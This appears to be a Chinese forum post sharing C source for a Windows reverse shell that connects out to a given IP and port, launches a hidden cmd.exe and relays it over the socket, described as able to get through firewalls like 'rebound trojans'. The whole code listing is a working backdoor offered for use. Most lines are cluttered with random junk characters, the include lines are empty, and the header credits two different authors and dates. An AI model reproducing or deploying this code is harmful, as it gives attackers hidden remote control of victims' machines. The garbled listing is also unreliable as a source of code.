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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~Wei|,w'<  
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/* ============================== l(!/Q|Q|  
Rebound port in Windows NT E"6X|I n  
By wind,2006/7 :Wc_Utt  
===============================*/ Qs%B'9")  
#include :QPf~\w?  
#include .XS9,/S  
MLr-, "gs  
#pragma comment(lib,"wsock32.lib") Y1)!lTG  
nls   
void OutputShell(); wP<07t[-g  
SOCKET sClient; z=g$Exl  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pvF-Y9Xb  
po7>IQS]  
void main(int argc,char **argv) q9]IIv  
{ /&^W#U$4  
WSADATA stWsaData; wMWW=$h#\  
int nRet; d|lpec  
SOCKADDR_IN stSaiClient,stSaiServer; T.ML$"f  
5Sva}9H  
if(argc != 3) 36vgX=}  
{ n<7u>;SJQ  
printf("Useage:\n\rRebound DestIP DestPort\n"); nS9wb1Zl  
return; _MuZ4tc  
} ]{GDS! )  
#+k*1 Jg  
WSAStartup(MAKEWORD(2,2),&stWsaData); @1:0h9%  
Z6Fp\aI8@  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ok{!+VCB5  
V 1/p_)A  
stSaiClient.sin_family = AF_INET; M'L;N!1A  
stSaiClient.sin_port = htons(0); xr%#dVk  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ln!A:dP}c-  
[9o4hw  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G^;>8r  
{ KOh A)  
printf("Bind Socket Failed!\n"); fuMJdAuY7d  
return; ^5; `-Ky  
} 2VoKr)  
}t%W1UJ  
stSaiServer.sin_family = AF_INET; lz<]5T|  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ypdT&5Mqb!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m@Rtlb  
y7)(LQRE {  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Bd~1P/  
{ T.m mmT  
printf("Connect Error!"); -7{ $ Vj  
return; Ub amB+QT  
} &JP-O60  
OutputShell(); 5Qh?>n>*  
} !mMpb/&&S  
bB}5U@G|  
void OutputShell() X3%Ic`Lq#  
{ Ul+Mo&y-  
char szBuff[1024]; {d<;BLA  
SECURITY_ATTRIBUTES stSecurityAttributes; F?-R$<Cn2~  
OSVERSIONINFO stOsversionInfo; aZ|=(]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N?P%-/7  
STARTUPINFO stStartupInfo; oCS2E =O&  
char *szShell; ,9D+brm  
PROCESS_INFORMATION stProcessInformation; _O"mfXl6  
unsigned long lBytesRead; ep/Y^&$M  
.2) =vf'd  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 04U")-\O  
Y>+y(ck  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N!2Rl  
stSecurityAttributes.lpSecurityDescriptor = 0; nh>K`+>co  
stSecurityAttributes.bInheritHandle = TRUE; cV{o?3<:B  
XB59Vm0E=  
o*rQP!8,oy  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Tr0B[QF  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2L?!tBw?1  
i0jBZW"_1$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Bi,;lR5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \ZU1J b1c  
stStartupInfo.wShowWindow = SW_HIDE; umi5Wb<  
stStartupInfo.hStdInput = hReadPipe; s?R2B)a  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hvka{LD  
cWyW~Ek  
GetVersionEx(&stOsversionInfo); `n5"0QRd  
Uyx!E4pl(  
switch(stOsversionInfo.dwPlatformId) ~@.%m"<.  
{ r.ZF_^y}+  
case 1: j hbonuV_  
szShell = "command.com"; qqrq11W  
break; svf|\p>]H  
default: !V 2/A1?  
szShell = "cmd.exe"; sZGj"_-Hzu  
break; 6Htg5o|W  
} GVHV =E  
^z6_Uw[  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >K9#3 4hP  
4;`oUt'.  
send(sClient,szMsg,77,0); _j?e~w&0b  
while(1) _WXtB#  
{ a ] =  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jO*l3:!~\  
if(lBytesRead) %wcSM~w  
{ :+Om]#`Vls  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); } :=Tm]S  
send(sClient,szBuff,lBytesRead,0); `K~AhlJUQ  
} &e-U5'(6v_  
else r%:+$aIt  
{ 8{`?= &%6  
lBytesRead=recv(sClient,szBuff,1024,0); 1$qh`<\  
if(lBytesRead<=0) break; M])dJ9&e  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +6wiOHB`  
} Mi'8 ~J  
}  <1%f@}+8  
NT@;N/I  
return; xk&Jl#v  
}
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